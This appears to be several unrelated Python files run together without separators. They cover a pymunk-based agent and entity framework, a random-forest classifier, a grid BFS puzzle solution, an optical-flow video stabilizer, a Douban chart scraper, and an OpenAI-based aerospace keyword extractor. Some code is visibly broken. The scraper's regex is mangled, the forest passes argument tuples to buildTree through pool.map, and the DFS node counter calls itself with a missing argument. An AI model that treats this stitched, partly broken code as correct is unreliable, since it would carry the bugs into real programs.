    pm_body: pymunk.Body
    pm_shapes: List[pymunk.Shape]

    def __init__(
        self,
        name: Optional[str] = None,
        teams: Optional[Teams] = None,
        **kwargs,
    ):

        self.name = name

        # Teams
        if isinstance(teams, str):
            teams = [teams]
        elif not teams:
            teams = []
        self.teams = teams

        SpriteMixin.__init__(self, **kwargs)
        BodyMixin.__init__(self, **kwargs)
        ShapeMixin.__init__(self, **kwargs)

        self.attached: List[Entity] = []
        self.attachment_points: Dict[Entity, Coordinate] = {}
        self.anchor: Optional[Entity] = None

    @property
    def all_attached(self):
        """
        Returns all entities attached to the agents.
        """
        attached = self.attached.copy()
        for entity in self.attached:
            attached.extend(entity.all_attached)
        return attached

    def pre_step(self):
        """
        Preliminary calculations before the pymunk engine steps.
        """
        self._moved = False
        pass

    def post_step(self):
        """
        Updates the entity state after pymunk engine steps.
        """
        pass

    def add(
        self,
        attached_entity: Entity,
        anchor_attachment_point: Tuple[float, float] = (0, 0),
        relative_angle: float = 0,
    ):

        """
        Attach an entity to the current entity.
        """

        self.attached.append(attached_entity)
        self.attachment_points[attached_entity] = (
            anchor_attachment_point,
            relative_angle,
        )
        attached_entity.anchor = self
        attached_entity.teams = self.teams

        if isinstance(attached_entity, AttachedStaticMixin):
            for shape in attached_entity.pm_shapes:
                shape.body = self.pm_body

        if isinstance(attached_entity, RaySensor):
            attached_entity.add_invisible_entity(self)

class Element(Entity, BaseMixin):
    pass

class Agent(Entity, BaseMixin, ActionMixin, SensorMixin):

    reward = 0
    cumulative_reward = 0
    collision_type = CollisionTypes.AGENT

    def pre_step(self):
        super().pre_step()
        self.reward = 0

    def post_step(self):
        super().post_step()
        self.cumulative_reward += self.reward

    @property
    def agent_action_space(self):

        act_space = {self.name: self.action_space}

        # Add attached entities' action spaces
        for attached in self.all_attached:
            if hasattr(attached, "action_space"):
                act_space[attached.name] = attached.action_space

        return spaces.Dict(act_space)

    def agent_apply_action(self, action):

        self.apply_action(action[self.name])

        # Apply attached entities' actions
        for attached in self.all_attached:
            if hasattr(attached, "apply_action"):
                attached.apply_action(action[attached.name])

    @property
    def agent_observation_space(self):

        obs_space = {self.name: self.observation_space}

        # Add attached entities' observation spaces
        for attached in self.all_attached:
            if hasattr(attached, "observation_space"):
                obs_space[attached.name] = attached.observation_space

        return spaces.Dict(obs_space)

    @property
    def agent_observation(self):

        obs = {self.name: self.observation}

        # Add attached entities' observations
        for attached in self.all_attached:
            if hasattr(attached, "observation"):
                obs[attached.name] = attached.observation

        return obs


import numpy as np
import random
from math import log, floor
from multiprocessing.dummy import Pool as ThreadPool

def mutli_run_wrapper(args):
    return buildTree(*args)

def getRandomForest(X,Y,K,classCount,M):

    """
        X is the training parameters (n x m matrix)
        Y is the training labels (n x 1 matrix)
        K is the number of parameters considered at each node
        classCount is the number of unique classes in Y
        M is the number of subsets we divide our data into
    """
    a,b = np.shape(X)

    # Get random permutation
    randPerm = np.random.permutation(range(a))

    # Get size of each bag
    bagSize = int(a/M)

    pool = ThreadPool(M)

    # Divide data randomly into M bags and create random tree for each
    args = []
    for m in range(M):
        bag = randPerm[m*bagSize:min((m+1)*bagSize,a-1)]
        args.append((X[bag,:],Y[bag],classCount,K))

    randomForest = pool.map(buildTree,args)

    return randomForest

def treeClassify(A,N):
    # If not a leaf, test data against node's function
    if(N.Label == None):
        t = N.test(A)
        leftSplit = A[t == 0,:]
        rightSplit = A[t == 1,:]
        Yhat = np.zeros(A.shape[0])
        Yhat[t == 0] = treeClassify(leftSplit,N.leftChild)
        Yhat[t == 1] = treeClassify(rightSplit,N.rightChild)
        return Yhat

    # Else return the class of the leaf
    else:
        return N.Label

def buildTree(X,Y,classCount,k):
    # If Y contains a single class create a leaf node
    for i in range(0,classCount):
        if(sum(abs(Y-i)) == 0):
            return Node(Label=i)
    # Otherwise create a node and two children for the split data
    if(len(Y) < 100):
        classDist = []
        for i in range(0,classCount):
            classDist.append(sum(Y == i))
        return Node(Label=np.argmax(classDist))
    n = Node(X,Y,k,classCount)
    div = n.test(X)
    n.leftChild = buildTree(X[div],Y[div],classCount,k)
    sortRight = np.logical_not(div)
    n.rightChild = buildTree(X[sortRight],Y[sortRight],classCount,k)
    n.leftChild.parent = n
    n.rightChild.parent = n
    return n

class Node(object):
    """
        X is the training parameters (n x m matrix)
        Y is the training labels (n x 1 matrix)
        K is the number of parameters considered at each node
        If Y is one class, Label is this class
        Intializes with the test function with highest information gain
    """
    def __init__(self, X = None, Y = None, k = None, classCount = None, Label = None):
        self.leftChild = None
        self.rightChild = None
        self.parent = None
        self.Label = Label
        if(Label == None):
            self.Thresh, self.feature = findBestF(X,Y,k,classCount)

    def test(self,X):
        sortLabels = X[:,self.feature] < self.Thresh
        return sortLabels

def findBestF(X,Y,k,classCount):

    samples,parameters = np.shape(X)
    # J = random.sample(range(parameters),k)
    J = range(parameters)
    A = np.sort(X[:,J],0)

    Thresholds = (A[:-1,:] + A[1:,:])/2

    numOfThresh = 100
    s = np.linspace(0,samples-2,numOfThresh,dtype=int)
    Thresholds = Thresholds[s,:]

    minH = float("infinity")
    bestF = []
    bestDiv = []

    for i in range(numOfThresh):
        for j in range(k):
            sortLabels = np.array(X[:,J[j]] < Thresholds[i,j]).astype('int')

            HA = 0
            HB = 0

            nA = sum(sortLabels)
            nB = samples - nA

            # Calculate entropy
            for y in range(0,classCount):
                classTruth = np.array(Y == y).astype('int')
                totalInClass = sum(classTruth)
                pA = np.dot(classTruth,sortLabels)
                pB = totalInClass - pA
                if(pA == 0 or nA == 0):
                    HA += 0
                else:
                    HA += -pA/nA*log(float(pA)/nA)/log(2)
                if(pB == 0 or nB == 0):
                    HB += 0
                else:
                    HB += -pB/nB*log(float(pB)/nB)/log(2)

            H = (HA*nA + HB*nB)/samples

            if(H < minH):
                bestT = Thresholds[i,j]
                bestF = J[j]
                minH = H

    return bestT, bestF

def DFS(N,X):
    """ Counts numer of nodes """
    if(N.leftChild == None):
        if(N.rightChild == None):
            return 1
        else:
            n1 = DFS(N.rightChild,X)
    elif(N.rightChild == None):
        if(N.leftChild == None):
            return 1
        else:
            n2 = DFS(N.rightChild)
    elif(N.leftChild != None and N.rightChild != None):
        print('Left: ' + str(sum(N.test(X))) + '. Right: ' + str(X.shape()[0]-sum(N.test(X))))
        n2 = DFS(N.leftChild,X)
        n1 = DFS(N.rightChild,X)
    return n1 + n2 + 1


import sys
from collections import deque
dirs = [(1, 0), (0, 1), (-1, 0), (0, -1)]
n, m = map(int, sys.stdin.readline().rstrip().split())
camp = []
visited = [[False] * m for _ in range(n)]
sx, sy = -1, -1
for i in range(n):
    c = list(sys.stdin.readline().rstrip())
    camp.append(c)
    if (sx, sy) == (-1, -1):
        for j in range(m):
            if c[j] == 'I':
                sx, sy = i, j

queue = deque([])
queue.append((sx, sy))
visited[sx][sy] = True

answer = 0
while queue:
    x, y = queue.popleft()
    if camp[x][y] == 'P':
        answer += 1

    for dx, dy in dirs:
        nx = x + dx
        ny = y + dy
        if nx < 0 or nx >= n or ny < 0 or ny >= m:
            continue
        if not visited[nx][ny] and camp[nx][ny] != 'X':
            visited[nx][ny] = True
            queue.append((nx, ny))

if answer == 0:
    print('TT')
else:
    print(answer)


import os, sys, cv2, pickle, argparse
import numpy as np
from matplotlib import pyplot as plt
from tqdm import tqdm
from scipy.signal import savgol_filter
from block_matching import estimate_flow
from flow_utils import plot_flow

sys.path.append("../W1")
from utils import save_gif

def parse_args(args=sys.argv[1:]):
    parser = argparse.ArgumentParser(description='Video stabilization using optical flow (block matching)')

    parser.add_argument('--video_path', type=str, default='../data/video_stabilization/1.mp4')
    parser.add_argument('--pkl_path', type=str, default='./pkls')

    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()

    cap = cv2.VideoCapture(args.video_path)
    num_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))

    compute_acc_motions = False  # caution: this is slow (max 5-6 sec video!!!)
    visualize_flow = False
    stabilize_video = True
    smooth_trajectories = False
    visualize_stabilization = False
    plot_corrections = False
    create_gifs = True

    if compute_acc_motions:
        os.makedirs(args.pkl_path, exist_ok=True)

        acc_mean_x_motion = [0]
        acc_mean_y_motion = [0]

        acc_median_x_motion = [0]
        acc_median_y_motion = [0]

        for frame_id in range(num_frames-1):
            cap.set(cv2.CAP_PROP_POS_FRAMES, frame_id)
            _, frame_prev = cap.read()
            _, frame_next = cap.read()

            flow = estimate_flow(motion_type='forward', N=16, P=32, distance_metric='ncc',
                                 img_reference=frame_prev, img_current=frame_next)

            if visualize_flow:
                plot_flow(frame_prev, flow)
                # sleep or something

            acc_mean_x_motion.append(acc_mean_x_motion[frame_id] + np.mean(flow[:, :, 0]))
            acc_mean_y_motion.append(acc_mean_y_motion[frame_id] + np.mean(flow[:, :, 1]))

            acc_median_x_motion.append(acc_median_x_motion[frame_id] + np.median(flow[:, :, 0]))
            acc_median_y_motion.append(acc_median_y_motion[frame_id] + np.median(flow[:, :, 1]))

            print(frame_id)

        with open(os.path.join(args.pkl_path, 'acc_mean_y_motion.pkl'), 'wb') as f:
            pickle.dump(acc_mean_y_motion, f)

        with open(os.path.join(args.pkl_path, 'acc_mean_x_motion.pkl'), 'wb') as f:
            pickle.dump(acc_mean_x_motion, f)

        with open(os.path.join(args.pkl_path, 'acc_median_y_motion.pkl'), 'wb') as f:
            pickle.dump(acc_median_y_motion, f)

        with open(os.path.join(args.pkl_path, 'acc_median_x_motion.pkl'), 'wb') as f:
            pickle.dump(acc_median_x_motion, f)

    if stabilize_video:
        trajectory_type = 'median'  # median or mean
        with open(os.path.join(args.pkl_path, 'acc_'+trajectory_type+'_y_motion.pkl'), 'rb') as f:
            acc_y_motions = pickle.load(f)

        with open(os.path.join(args.pkl_path, 'acc_'+trajectory_type+'_x_motion.pkl'), 'rb') as f:
            acc_x_motions = pickle.load(f)

        if smooth_trajectories:
            acc_y_motions = savgol_filter(acc_y_motions, 51, 3)
            acc_x_motions = savgol_filter(acc_x_motions, 51, 3)

        if plot_corrections:
            plt.figure(figsize=(20,8))
            plt.title('Smoothed (SavGol filter) horizontal and vertical corrections due to accumulated ' + trajectory_type + ' motions')
            plt.plot(-np.array(acc_x_motions), label='horizontal motion')
            plt.plot(-np.array(acc_y_motions), label='vertical motion')
            plt.ylabel('Correction (pxs)')
            plt.xlabel('Frame')
            plt.legend()
            plt.show()

        start_flag = True

        first = True

        for frame_id in tqdm(range(num_frames), desc='Stabilizing video frames'):
            _, frame = cap.read()

            transl_matrix = np.array([[1, 0, -acc_x_motions[frame_id]],
                                      [0, 1, -acc_y_motions[frame_id]]],
                                     dtype=np.float32)

            frame_stab = cv2.warpAffine(frame, transl_matrix, (frame.shape[1], frame.shape[0]))

            # s = frame_stab.shape
            # T = cv2.getRotationMatrix2D((s[1]/2, s[0]/2), 0, 1.3)
            # frame = cv2.warpAffine(frame, T, (s[1], s[0]))
            # frame_stab = cv2.warpAffine(frame_stab, T, (s[1], s[0]))

            # mask = np.where(frame_stab==[0,0,0], 1, 0).astype(np.uint8)
            #
            # if first:
            #     frame_stab = frame_stab + frame*mask
            #     first = False
            # else:
            #     frame_stab = frame_stab + prev_frame*mask
            #
            # prev_frame = frame_stab

            if visualize_stabilization:
                cv2.namedWindow('prev', cv2.WINDOW_NORMAL)
                cv2.resizeWindow('prev', 1000, 800)
                cv2.imshow('prev', frame)

                cv2.namedWindow('stabilized', cv2.WINDOW_NORMAL)
                cv2.resizeWindow('stabilized', 1000, 800)
                cv2.imshow('stabilized', frame_stab)

                if start_flag:
                    cv2.waitKey()
                    start_flag = False
                else:
                    cv2.waitKey(1)

            if create_gifs:
                scale = 0.3
                w = int(frame.shape[1] * scale)
                h = int(frame.shape[0] * scale)
                dim = (w, h)

                cv2.imwrite('./gif_original/'+str(frame_id+100)+'.png', cv2.resize(frame, dim, interpolation=cv2.INTER_AREA))
                cv2.imwrite('./gif_stab/' + str(frame_id + 100) + '.png', cv2.resize(frame_stab, dim, interpolation=cv2.INTER_AREA))

        if create_gifs:
            print('Creating GIFs')
            save_gif('./gif_original/', './gif_original.gif', fps=30)
            save_gif('./gif_stab/', './gif_stab.gif', fps=30)


"""
1、拿到页面源代码
2、re提取源代码中我们想要的内容

注意：
    匹配（要注意要用[]将（括起来
"""
import re
import requests
import csv

url = "https://movie.douban.com/chart"

header ={
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel)"
}
resp = requests.get(url,headers=header)

page_content = resp.text

# 解析数据
obj = re.compile(r' .*?(?P<name>.*?)/ .*?
(?P<time>.*?)/.*?(?P<points>.*?)',re.S)

result = obj.finditer(page_content)

for it in result:
    print(it.group("name").strip(),it.group("time").strip(),it.group("points").strip())

resp.close()

爬虫/02第二章-数据的解析和提取/04手刃豆瓣top250.py


# -*- coding: utf-8 -*-
import openai
import datetime
import time
import traceback
import json
import os
import pandas as pd

from pathlib import Path as path
from tqdm import tqdm
from collections import OrderedDict

from data_utils import load_data, dump_data
from openai_api import get_response_chatcompletion
from openai_apikey import api_key
from data_manager import DataManager
from settings import (KEYWORD_FOLD,
                      KEYWORD_QUERY_FILE_JSONL,
                      KEYWORD_FILTER_FILE_JSONL)

openai.api_key = api_key

sentence_sep = '。？！.?!．'

keyword_query_prompt = '''
请从文章中抽取出所有的航空航天领域的科学技术术语，以列表形式给出。
输出格式：
- xxx
- xxx
样例：
- 涡轮喷气式发动机
- 超低空飞行
- 神舟十二号载人飞船
- 近地卫星导航系统
文章：
'''.strip()

keyword_filter_prompt = '''请判断下列词语是否属于航天航空领域。输出两行，以逗号分割。
输出格式：
是: xxx,xxx,xxx
否: xxx,xxx,xxx
词语：
'''.strip()

class KeywordQueryer:
    def __init__(self,
                 prompt,
                 engine='gpt-3.5-turbo',
                 max_query_len=1000,
                 max_ans_token=2048,
                 retry_time=3,
                 save_keyword=True,
                 ) -> None:
        print(f'prompt\n{prompt}')
        self._prompt = prompt
        self._engine = engine
        self._max_query_len = max_query_len
        self._max_ans_token = max_ans_token
        self._retry_time = retry_time
        self._save_keyword = save_keyword

    def _get_response(self, content):
        message_list = [
            {'role': 'user', 'content': f'{self._prompt}\n{content}'},
        ]

        output_keyword = get_response_chatcompletion(
            messages=message_list,
            engine=self._engine,
            max_tokens=self._max_ans_token,
            retry_time=self._retry_time,
        )
        output_keyword = output_keyword.split('\n')
        output_keyword = filter(lambda x:len(x)>2 and x[0]=='-', output_keyword)
        output_keyword = map(lambda x:x[1:].strip(), output_keyword)
        return list(output_keyword)

    def _clip_content(self, content):
        def clip_sentence(sentence):
            return [sentence[p:p+self._max_query_len]
                    for p in range(0, len(sentence), self._max_query_len)]

        sentences = []
        cur_sentence = ''
        for d in content:
            cur_sentence += d
            if d in sentence_sep:
                sentences.extend(clip_sentence(cur_sentence))
                cur_sentence = ''
        if cur_sentence:
            sentences.extend(clip_sentence(cur_sentence))

        cur_content = ''
        for sen in sentences:
            if len(cur_content+sen) > self._max_query_len:
                yield cur_content
                cur_content = sen
            else:
                cur_content += sen
        yield cur_content

    def get_new_keywords(self, keys, contents):
        record = load_data(KEYWORD_QUERY_FILE_JSONL, default={}, merge_jsonl=True)

        todo_lst = []
        for key, content in zip(keys, contents):
            content = content.strip()
            if content and key not in record:
                todo_lst.append([key, content])
        todo_lst.sort()

        print('\n=== openai processing ===\n')
        for key, content in tqdm(todo_lst, desc='query keywords'):
            new_keywords = []
            for cliped_content in self._clip_content(content):
                cur_keywords = self._get_response(cliped_content)
                new_keywords.extend(cur_keywords)

            # record[key] = new_keywords
            if self._save_keyword:
                # dump_data(KEYWORD_QUERY_FILE_JSON, record, 'w', indent=4)

                if new_keywords:
                    dump_data(KEYWORD_QUERY_FILE_JSONL, {key:new_keywords})

class KeywordFilter:
    def __init__(self,
                 prompt,
                 engine='gpt-3.5-turbo',
                 max_filter_cnt=100,
                 max_query_len=None,
                 max_ans_token=2048,
                 retry_time=3,
                 save_keyword=True,
                 ) -> None:
        print(f'prompt\n{prompt}')
        self._prompt = prompt
        self._engine = engine
        self._max_filter_cnt = max_filter_cnt
        self._max_ans_token = max_ans_token
        self._retry_time = retry_time
        self._save_keyword = save_keyword

        self._max_query_len = max_query_len if max_query_len else 1000

    def _get_response(self, content):
        message_list = [
            {'role': 'user', 'content': f'{self._prompt}\n{content}'},
        ]

        output_filter = get_response_chatcompletion(
            messages=message_list,
            engine=self._engine,
            max_tokens=self._max_ans_token,
            retry_time=self._retry_time,
        )
        output_filter = output_filter.split('\n')
        output_res = {}

        def split_line(line):
            words = line[2:].split(',')
            words = map(lambda x:x.strip(), words)
            words = filter(lambda x:x, words)
            return list(words)

        for line in output_filter:
            line = line.strip()
            if not line:
                continue
            if line[0] == '是':
                output_yes = split_line(line)
                for w in output_yes:
                    output_res[w] = True
            if line[0] == '否':
                output_no = split_line(line)
                for w in output_no:
                    output_res[w] = False
        return output_res

    def _clip_content(self, keywords):
        content = '\n'.join(keywords)
        if len(content) <= self._max_query_len:
            yield content
            return
        cur_content = ''
        for k in keywords:
            if len(cur_content+'\n'+k) > self._max_query_len:
                yield cur_content
                cur_content = k
            else:
                cur_content += '\n'+k
        yield cur_content

    def filter_keywords(self, todo_keywords, deduplicate=False):
        # record_filter = load_data(KEYWORD_FILTER_FILE_JSONL, default={}, merge_jsonl=True)
        if deduplicate:
            todo_keywords = sorted(set(todo_keywords))

        print('\n=== openai processing ===\n')
        for p in tqdm(list(range(0, len(todo_keywords), self._max_filter_cnt)), desc='filter keywords'):
            cur_keywords = todo_keywords[p:p+self._max_filter_cnt]
            for content in self._clip_content(cur_keywords):
                filter_res = self._get_response(content)
                # record_filter.update(filter_res)
                if self._save_keyword:
                    # dump_data(KEYWORD_FILTER_FILE_JSON, record_filter, 'w', indent=4)
                    for k, v in filter_res.items():
                        dump_data(KEYWORD_FILTER_FILE_JSONL, {k:v})

class KeywordManager:

    @staticmethod
    def keyword_excel2txt():
        keyword_tot = 0

        for file in os.listdir(KEYWORD_FOLD):
            file = KEYWORD_FOLD/file
            if file.suffix not in ['.xls', '.xlsx']:
                continue
            file_excel = file
            file_txt = file.with_suffix('.txt')
            if file_txt.exists():
                continue

            keyword_yes = []

            for sheet_name in pd.ExcelFile(file_excel).sheet_names:
                df_keyword = pd.read_excel(file_excel, header=None, sheet_name=sheet_name)
                # print(file_excel, sheet_name)
                keyword_tot += df_keyword.shape[0]
                for sym in ['是', '1', 1]:
                    df_keyword__ = df_keyword.loc[df_keyword.iloc[:, 1]==sym]
                    df_keyword__ = df_keyword__.iloc[:, 0]
                    keyword_yes.extend(df_keyword__.tolist())

            # for sym in ['是', '1', 1]:
            #     df_keyword = pd.read_excel(file_excel, header=None)
            #     df_keyword = df_keyword.loc[df_keyword.iloc[:, 1]==sym]
            #     df_keyword = df_keyword.iloc[:, 0]
            #     keyword_yes.extend(df_keyword.tolist())

            str_keyword = '\n'.join(map(str, keyword_yes))
            dump_data(file_txt, str_keyword, 'w')
            print(f'{keyword_tot} keyword\n'
                  f'{len(keyword_yes)} yes\n'
                  f'from {file_excel} to {file_txt}\n')

        return keyword_tot

    @staticmethod
    def get_final_keywords():
        return DataManager.keyword_final()

def main_query_new_keywords():
    queried_keywords = load_data(KEYWORD_QUERY_FILE_JSONL, default={}, merge_jsonl=True)
    keyword_queryer = KeywordQueryer(prompt=keyword_query_prompt)
    # for k in list(queried_keywords.keys()):
    #     if not queried_keywords[k]:
    #         del queried_keywords[k]
    # dump_data(KEYWORD_QUERY_FILE_JSON, queried_keywords, mode='w', indent=4)

    baike_urls = []
    baike_passage = []
    with open('./dataspace/baike.all_crawled_info.jsonl', 'r', encoding='utf-8')as f:
        for line in f.readlines():
            piece = json.loads(line)
            if piece['url'] not in queried_keywords:
                baike_urls.append(piece['url'])
                baike_passage.append(piece['content'])
    keyword_queryer.get_new_keywords(keys=baike_urls, contents=baike_passage)

    zhidao_urls = []
    zhidao_passage = []
    with open('./dataspace/zhidao.all_crawled_info.jsonl', 'r', encoding='utf-8')as f:
        for line in f.readlines():
            piece = json.loads(line)
            if piece['url']+'@@1' not in queried_keywords:
                zhidao_urls.append(piece['url']+'@@1')
                zhidao_passage.append(piece['content1'])
            if piece['url']+'@@2' not in queried_keywords:
                zhidao_urls.append(piece['url']+'@@2')
                zhidao_passage.append(piece['content2'])
    keyword_queryer.get_new_keywords(keys=zhidao_urls, contents=zhidao_passage)

def main_filter_new_keywords():
    filter_todo = DataManager.keyword_filter_k_todo()
    filter_ = KeywordFilter(
        prompt=keyword_filter_prompt,
    )
    filter_.filter_keywords(filter_todo)

def main_excel2txt_manual_todo(part_size=(), sheet_names=()):
    keyword_excel2txt_tot = KeywordManager.keyword_excel2txt()

    assert part_size
    if keyword_excel2txt_tot != sum(part_size):
        print('\n>>> check the number of keywords from excel to notebook <<<\n'
              '>>> which differs from the number of todo keywords <<<\n')
    print('excel to txt done\n')

    if not sheet_names:
        sheet_names = range(1, len(part_size)+1)
    assert len(part_size) == len(sheet_names)

    manual_todo = DataManager.keyword_manual_k_todo()[:sum(part_size)]
    if len(manual_todo) != sum(part_size):
        print('\n>>> not enough todo keywords <<<\n')

    excel_file = path(f'./dataspace/data_keyword_{str(datetime.date.today())}.xlsx')
    if excel_file.exists():
        os.remove(excel_file)

    needle = 0
    for p, (size, sheet_name) in enumerate(zip(part_size, sheet_names)):
        df = pd.DataFrame(manual_todo[needle:needle+size])
        needle += size
        with pd.ExcelWriter(excel_file, mode=('a' if p else 'w'))as f:
            df.to_excel(f, sheet_name=str(sheet_name), index=False, header=False)
    print(f'{len(manual_todo)} manual todo keywords prepared')

if __name__ == '__main__':
    main_excel2txt_manual_todo([1000]*2)

    # sentence = '''看我的收藏0有用+1已投票0轨道器播报编辑锁定讨论上传视频特型编辑太空拖船轨道器是指往来于航天站与空间基地之间的载人或无人飞船。它的主要用途是更换、修理航天站上的仪器设备。补给消耗品，从航天站取回资料和空间加工的产品等。由于它专门来往于各个空间站，又被称为“太空拖船”。中文名轨道器别名太空拖船往返航天站与空间基地用途更换、修理航天站上的仪器设备相关视频查看全部轨道飞行器分为两种。一种是活动范围较小的，叫做轨道机动飞行器；另一种是在大范围内实行轨道转移的，成为轨道转移飞行器。可以搭载七名宇航员在太空至少逗留10天。机舱内有三层甲板：飞行甲板、中甲板和设有生命支持系统的底层甲板。轨道飞行器长37.24米，高17.27米，翼展29.79米，载荷舱尺寸18.3*4.6米，轨道速度每小时28800公里，可容忍温度1500摄氏度，轨道高度185公里至1000公里，持续时间10至16天。词条图册更多图册'''
    # kq = KeywordQueryer(save_keyword=False)
    # print(kq.get_new_keywords(['123'], [sentence]))

    # kf = KeywordFilter(save_keyword=False)
    # kf.filter_keywords

    # KeywordManager.keyword_excel2txt()

    # all_keywords = KeywordManager.get_all_keywords()
    # print(len(all_keywords))

    pass